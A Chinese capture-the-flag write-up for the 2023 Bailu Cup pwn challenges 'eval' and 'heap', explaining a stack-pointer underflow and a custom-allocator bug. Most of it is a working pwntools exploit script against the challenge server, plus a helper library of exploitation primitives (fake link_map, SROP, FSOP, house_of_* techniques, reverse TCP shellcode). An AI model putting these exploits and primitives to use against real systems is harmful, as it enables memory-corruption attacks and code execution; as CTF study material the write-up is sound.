0%

2023柏鹭杯pwn wp

2023柏鹭杯pwn wp

PWN

eval

漏洞点

对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点

1
+200/2+(target_offset - 100)

这样输入即可将栈顶迁移到任意位置

难点

需要逆向整个模拟栈的结构

可以配合动态调试得出模拟栈结构

addr+0 0

addr+1 符号位

addr+2 0

addr+3 栈顶偏移

addr+4 第一个数

addr+5 第二个数

通过处理符号进行运算的时候,会导致addr+3 -= 1,将原本应该填在addr+4的数填在了addr+3即可完全控制offset,进而控制任意位置读写

heap

漏洞点

对小堆块(≤0x80)大小的堆块管理有问题,没有进行pre位置(+0x18)的有效校验,进而可以控制任意位置读写,但要注意会写入0x28的头部

远程FLAG加载进了环境变量位置,通过泄露_IO_2_1_stdout_(bss区)获得libcv版本,再申请libc中__environ处,判断是否能泄露出0x7fffxxxxxx的值判断合适的libc版本,最后申请到存储环境变量字符串处的内存,然后多次尝试泄露出FLAG环境变量的值即可。(RIP挟持不了,栈内距离小于0x28,申请会覆盖上个返回地址,导致Segment fault)

难点

需要逆向整个他自己写的malloc和free函数以及堆块结构,比较复杂,逆了老半天,感觉在看源码 🤨

Untitled

EXP

需要进行多次操作(4次)比较复杂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

# context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "./libs/libc6_2.31-0ubuntu9.10_amd64.so"
remote_ip = "8.130.115.205"
remote_port = "20199"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0) * 36
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*0x10
return (fake_IO_FILE, pad, payload)

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

"""pwncli"""
def reverse_tcp():
from pwncli import ShellcodeMall
reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

prefix = "4. show"

def add(size):
sla(prefix, b'1')
sla("size: ", str(size))

def delete(index):
sla(prefix, b'2')
sla("index: ", str(index))

def edit(index, payload):
sla(prefix, b'3')
sla("index: ", str(index))
sa("data: ", payload)

def show(index):
sla(prefix, b'4')
sla("index: ", str(index))

def exit():
sla(prefix, b'5')

add(0x20)
add(0x500)
add(0x500)
add(0x20)

delete(1)
delete(2)

edit(0, b'a'*0x31)
show(0)

magic = u64(rl()[-7 -8 +1:-1-8+2].rjust(8, b'\x00'))
log(hex(magic))
# bpp()

edit(0, b'a'*0x40)
show(0)

leak_heap = leak()
log(hex(leak_heap))

heap_base = leak_heap - 0x590
log(hex(heap_base))

edit(0, b'a'*0x48)
show(0)
leak_elf = rl()
log((leak_elf))

leak_elf = ((u64(leak_elf[-7:-1].ljust(8, b'\x00'))))
log(hex(leak_elf))

elf_base = leak_elf - (0x564a5b203060 - 0x564a5b000000)
log(hex(elf_base))

edit(0, flat([
b'a'*0x30,
magic,
p64(0x510aaaaaaaa),
leak_heap,
leak_elf,
]))

add(0x600)
add(0x20)
delete(1)
delete(0)
delete(2)
delete(3)

""""""
add(0x20)
add(0x40)
add(0x60)
add(0x20)
add(0x20)
add(0x20)
delete(4)
delete(3)
edit(2, flat([
b'a'*0x71
]))

show(2)

magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(2, flat([
b'a'*0x70,
magic,
p64(0x30aaaaaaaa),
heap_base + 0x1248,
elf_base + 0x203078
]))

add(0x60)
add(0x50)

show(4)
leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - libc.sym['_IO_2_1_stdout_']

log(hex(libc_base))
environ = libc_base + libc.sym['__environ']
log(hex(environ))

add(0x80) # 6
add(0x60)# 7
add(0x20) # 8
delete(7)
edit(6, flat([
b'a'*0x91
]))

show(6)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(6, flat([
b'a'*0x90,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x1448,
environ - 0x28
]))

add(0x60)
add(0x60)

log(hex(environ))

show(9)
raw = leak()
log(hex(raw))

backdoor = elf_base + 0xEAD
ret_addr = raw - (0x7ffca6599568 - 0x7ffca6599448) + 0xf0 -0xd0
log(hex(ret_addr))

add(0x60) #10
add(0x60) #11
add(0x20)
delete(11)

edit(10, flat([
b'a'*0x71
]))

show(10)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(10, flat([
b'a'*0x70,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x15d0,
raw - 0x28 - 0x28
]))

add(0x60)

log(hex(raw))
add(0x60)

# add(0x60)
# bpp()

edit(13, flat([
b'a'*0x18
]))

show(13)

flag_path = leak()
log(hex(flag_path))

"""final"""

add(0x60) #14
add(0x60) #15
add(0x20)
delete(15)

edit(14, flat([
b'a'*0x71
]))

show(14)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(14, flat([
b'a'*0x70,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x15d0,
flag_path - 0x28 + 0x30 + 100
]))

add(0x60)
# bpp()
add(0x60) ###

show(17)
# raw = rl()
# log(raw)
# bpp()
# bpp()

ia()

"""
E=/root
abb1
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

flag{ISEC-f140f382117c6c52cb3a3221e747e530}
"""